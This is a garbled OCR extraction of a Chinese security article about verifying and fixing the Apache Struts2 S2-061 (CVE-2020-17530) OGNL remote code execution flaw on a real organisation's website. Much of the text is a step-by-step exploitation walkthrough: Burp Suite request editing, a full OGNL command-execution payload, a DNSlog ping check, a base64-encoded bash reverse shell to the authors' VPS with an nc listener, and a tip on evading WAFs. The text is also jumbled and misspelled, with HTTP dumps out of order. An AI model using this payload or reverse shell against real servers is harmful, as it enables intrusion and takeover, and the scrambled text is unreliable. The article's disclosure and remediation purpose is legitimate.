admin 管理员组文章数量: 887021
2023年12月23日发(作者:模块建房选择哪种连接件的好)
了互联网+安全internet Security基于“Stmts2-061”漏洞谈网络安全问题防范□孙海波国家广播电视总局广播电视科学研究院
王刚河北省张家口市怀来县大黄庄镇大黄庄小学【摘要】 本文就一起"Struts2-06V’网络安全漏洞事件,详细介绍了该漏洞的验证步骤、原理、修复方法,如何做好网站的安全
漏洞防范,防止黑客利用此漏洞对目标服务器进行数据窃取、篡改、破坏,或植入后门、挂马等恶意操作。【关键词】网络安全漏洞远程代码执行OGNL表达式网站的作用越来越大,无论企业还是个人都离不幵网站。
网站是由各类网页集合而成的,而网页的实质就是一个html
文件,因而网站是由许多的html文件构成的。网站在搭建
过程中,需要使用各种各样的框架,比如Struts、Spring、
架确定响应结果对应视图中的用户请求。验证详细步骤如下。1.1对目标网站进行数据包抓取通过使用hurpsuite工具对该网站进行数据包抓取,
hurpsuite工具是用于攻击、测试web应用程序的集成平台,
包含了许多工具,并为这些工具设计了许多接口,以加快攻
击、测试应用程序的过程,能快速处理网站对应的HTTP消
息、认证、代理、日志、警报等。抓包结果如图1所示。1.2修改发送请求我们将响应结果发送到hurpsuite工具的repeater里,并
对发送的数据包进行修改。因为我们需要重新发送请求数据,
所以将请求方式由GET改为POST。数据包主要修改两个内
容,一是修改Content-Type为常见的POST数据内容提交类
型multipart/form-data,二是修改payload。另外,我们可以看到生成了一条记录bminrlary分割线符,其值为-----WebKHibernate等。不同的应用程序框架具有不同的特点,在使用
过程中,可能存在不同的安全隐患。Struts2 是一*个基于
MVC (
Model
View
Controller,模型视
图控制器)设计模式的Weh应用程序框架,它既是Strntsl
的升级版本,更是一个全新的Struts架构。因为Struts2使用
MVC设计模式,该模式中的模型、视图、控制器三个层次
各司其职,所以StrutS2框架也面临一个问题,即用户数据在
不同层次流转的问题。为了解决这一问题,提高访问速度,
Struts2 框架采用
OGNL (
Object—Graph
Navigation
Language,
对象图导航语言)来操作,即Struts 2默认的表达式语言是
OGNL,OGNL可以协助框架用非常简单的表达式访问不同
的对象层。本文就从笔者实际工作中遇到的一起StmtS2-061漏洞
事件谈起,从该漏洞的验证方法、产生原理、漏洞危害、修
复手段几个方面出发,全面地介绍StrutS2-061漏洞的相关
内容,希望能对广大读者有所帮助。一、事件经过笔者于2021年1月8日发现某单位门户网站存在网络
安全漏洞,并向该单位进行了通报,漏洞详细情况如下:
漏洞名称为Struts2-061漏洞;漏洞
数量1个;漏洞等级为高危;漏洞地址为
192.---.---. 133/Boundaryl7dlBlaGsV2wcZwF,也就是说我们只要输入
这一值就相当于输入了一条分割线。具体修改内容为:Content—Type:
multipart/form—data;
houndary=----WebKitFormBoundaryl7d 1B1
aGsV 2wcZwF空一行-------WebKitFormBounrlaryl7d 1
B1
aGsV 2wcZwFContent—Disposition:
form—data;
name=M
id”空一行(payload )action(“---”代表网站部分URL地址);漏洞描述为,Apache
Structs2在使用某
些标签属性时,可能存在0GNL表达
式注入漏洞,从而造成远程代码执行,目标服务器被提权,风险极大。漏洞验证前,我们看到该网址后
缀为“.action”,则可判断该网站使用
框架为
Apache
Struts2。Action 对象是
Struts2框架的核心,每个URL地址都
映射到特定的Action对象中,Action
对象对来自用户的请求提供处理逻辑,它有两个重要功能:一是将用户请求
数据传递到框架视图中,二是协助框图1网站请求数据包119
互联网+安全nternet Security-------WebKitFormBoundaryl7d 1B1
—具体payload为:%{(#instancemanager=#[ **.
送数据包如图3所示。InstanceManager” ]).(#stack=#attr[ “2.
tack” ]).(#bean=#instancemanager.
newlnstance(
p^ )).
(#n(#stack)).(#context=#( “context”)).(#bean.
60.215.138.161
124.65.18.69
2020-12-2814:33282020-12-2814:33:25setBean(#context)).(#macc=#( 44
member
Access
M ))•
(#
Bean(#macc)).(#emptyset = #instancemanager.
newlnstance( “t” )).(#(
“excludedCl
asses” ,#emptyset)).(#( “excludeciPackageNames” ,#
emptyset)).(#arglist=#tance( “.
ArrayList” )).(#( “id”)).(#execute=#instancemanager.
newlnstance( “e” )).(#execute.
exec(#arglist)))1.3用网站进行数据监测修改payload中的参数并执行,我们使用
网站进行数据监测,首先开启Dnslog,其中4puott.
为网站的临时域名,如图2所7K。图4
Dnslogxn网站接收到响应发送数据请求后,我们可以在网站上看到
有数据记录,证明目标网站执行了我们修改的ping 4puott.
命令,也就是实现了远程代码执行,因而可以证明
该网站存在Struts2-061漏洞,如图4所7K。1.5对目标服务器进行端口反弹在上一步中已实现了远程代码执行,那我们就尝试用nc
工具(NetCat,一款网络工具,可通过TCP或UDP协议传
输读写数据,对服务器端口进行扫描、监听)进行端口反弹,
对目标服务器进行提权。保险起见,在执行端口反弹命令
前,我们先将反弹命令进行编码加密,这样可以在一定程度
上防止被WAF、防火墙等设备拦截,编码网站:www.
jackson—/runtime—exec—,如图 5 所7K〇Input type:曹)Bash
够 PowerShell Python • Perl/bin/bash -i >& /dev/tcp/175; ■ |fc 240/7777 0>41图2
网站临时域名展7K
1.4执行修改后的请求数据包在burpsuite的repeater工具中将参数值改
为“”,意思表7K我们通过目标主机来
.. ________
{base64, -d}|{bash, ~i)^ ^ …. __ .•…—.........,,ping 网址 (
网站的临时域名),发■aw Params Headers | H«x |POST /index, action HTTP/1.
1Host:
192. .-v
133:8080Upgrade-Insecure-Requests:
1User-Agent: Mozilla/5.
0 (WindowsNT
10.0. Win64. x64) AppleWebKit/537.
36 (KHTML, likeGecko) Chrome/87.
0.
4280.
88 Safari/537.
36Accept:text/html, application/xhtml+xml, application/xml ;q=0.
9, image/avif, image/webp, image/apng, */*;q=0.
8, application/signed-exchange;v=b3;q=0.
9
Accept-Language: zh-CN, zh;q=0.
9Cookie: _ga=GAl.
1.
1158596059.
1609320655; JSESSr〇NID=node09xlaq30hjrgwlgtdkdktll51qO. nodeOConnection: closeContent-Type: naaltipart/form-data. boundary=------WebKitFormBoundarylTdIBlaGsVSwcZsri7Content-Length:
829WebK i tF ormBoundar y17dlB1aGsV2wcZwFContent-Disposition: form-data; nameid"(«instancemanager=#application[*"org. apache, tomcat. InstanceManager"]). (#stack=#attr[',com. opensymphony. xwork2. util. ValueStack. ValueStack"]). (#bean=#instancemanager. nearinstance (~org. apache. commons, collections. BeanMap")). (#bean. setBeanJr«stack)). (#context=#bean. get ("context")). (#bean. setBean(#context)). (#macc = #bean. getAccess")). (#bean. setBean(#macc)). (#emptyset=
#instancemanager. newlnstance(" java. util. (#bean. put("excludedClasses", #emptyset)).
(#bean. put ("excludedPackageNames", ffemc^^ret)). (#arglist=#instancemanager. newlnstance (* java, u
til. ArrayList")). (iarglist. add("ping4puott. dnslog. cnT)). (#execute=#instancemanagor. newlnstance("froemarker. template, utility. Exec
ute~)). (#execut^*xec (#arglist)) }----------WebKitFormB^lN(Jaryl'rdlBlaGsV2wcZiriJ--图5| Raw ) Head 1 200Connection: cDate: Fri, 08Content-LanguContent-Type:Content-LengtServer: Jetty对反弹命令编码反弹命令为 “/bin/bash -i >& /dev/ j j tcp/175.——.―-.240/7777 0>&1”,其 中175.---.---.240为我方虚拟专用 VPS服务器的IP地址,7777为监听 的端口,编码后的字符如图5所示, 并将编码后的字符复制到payload中 的参数里,执行发送数据 请求,如图6所示。然后在我们的VPS服务器上(root@miss-vps ~ )运行命令 “nc - haslvnp 7777”,即监听端口 7777,如图 7所示。其中nc.命令参数介绍如下:-1 指使用监听模式,管控传入的资料;-v 指显示指令执行过程;-ri指直接使用 IP地址,而不通过域名服务器;_p< 通信端口 >指设置本地主机使用的通 图3120向网站发送请求数据信端口。 了internet 互联网+Security安全POST /index, action HTTP/1.1 HTTP/1. 1 200 CM —、漏洞原理Host: 192. _ # 133:8080 Connection: cl« Upgrade-Insecure-RequestsDate: Fri, 08 . 2020 年 12 月, : 1User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. 36 (KHTML, likeContent-Languaj Apache Struts 官方披 Gecko) Chrome/87. 0. 4280. 88 Safari/537. 36Content-Type: Accept:Content-Length 露了编号为S2-061的 text/html, application/xhtml+xml, application/xml .q=0. 9, image/avif, image/webp, image/apng, 〇 Server: Jetty (*0. 8, application/signed-exchange.v=b3;q=0. 9 远程代码执行漏洞, Accept-Language: zh-CN, zh:q=0. 9Cookie: _ga=GAl. 1. 1158596059. 1609320655; JSESSI0NID=node09xlaq30hjrgwlgtdkdktl151q0. nodeO CVE编号为CVE- Connection: closeContent-Type: multipart/form-data . boundary:---WebKitFormBoundary17d1B1aGsV2wcZwF2020-17530。 Apache Content-Length: 829StrutS2框架是一个用 ------WebK i tPormBoundar y 17dl B1 aGsV2wcZwFContent-Disposition: form-data; name="id**于开发Java EE网络应
nsymphony. xwork2. util. ValueStack. ValueStack^]). (#bean=#instancemanager. newlnstance ("org. apac >hashe. commons, collections. BeanMap-)). (#bean. setBean (#stack) ). (#context=#bean. get (""context*) ). (#
在使用某些标签时可
bean. setBean(tcontext)) . (#macc=#bean. get("memberAccess")). (#bean. setBean(#macc)) . (#emptyset=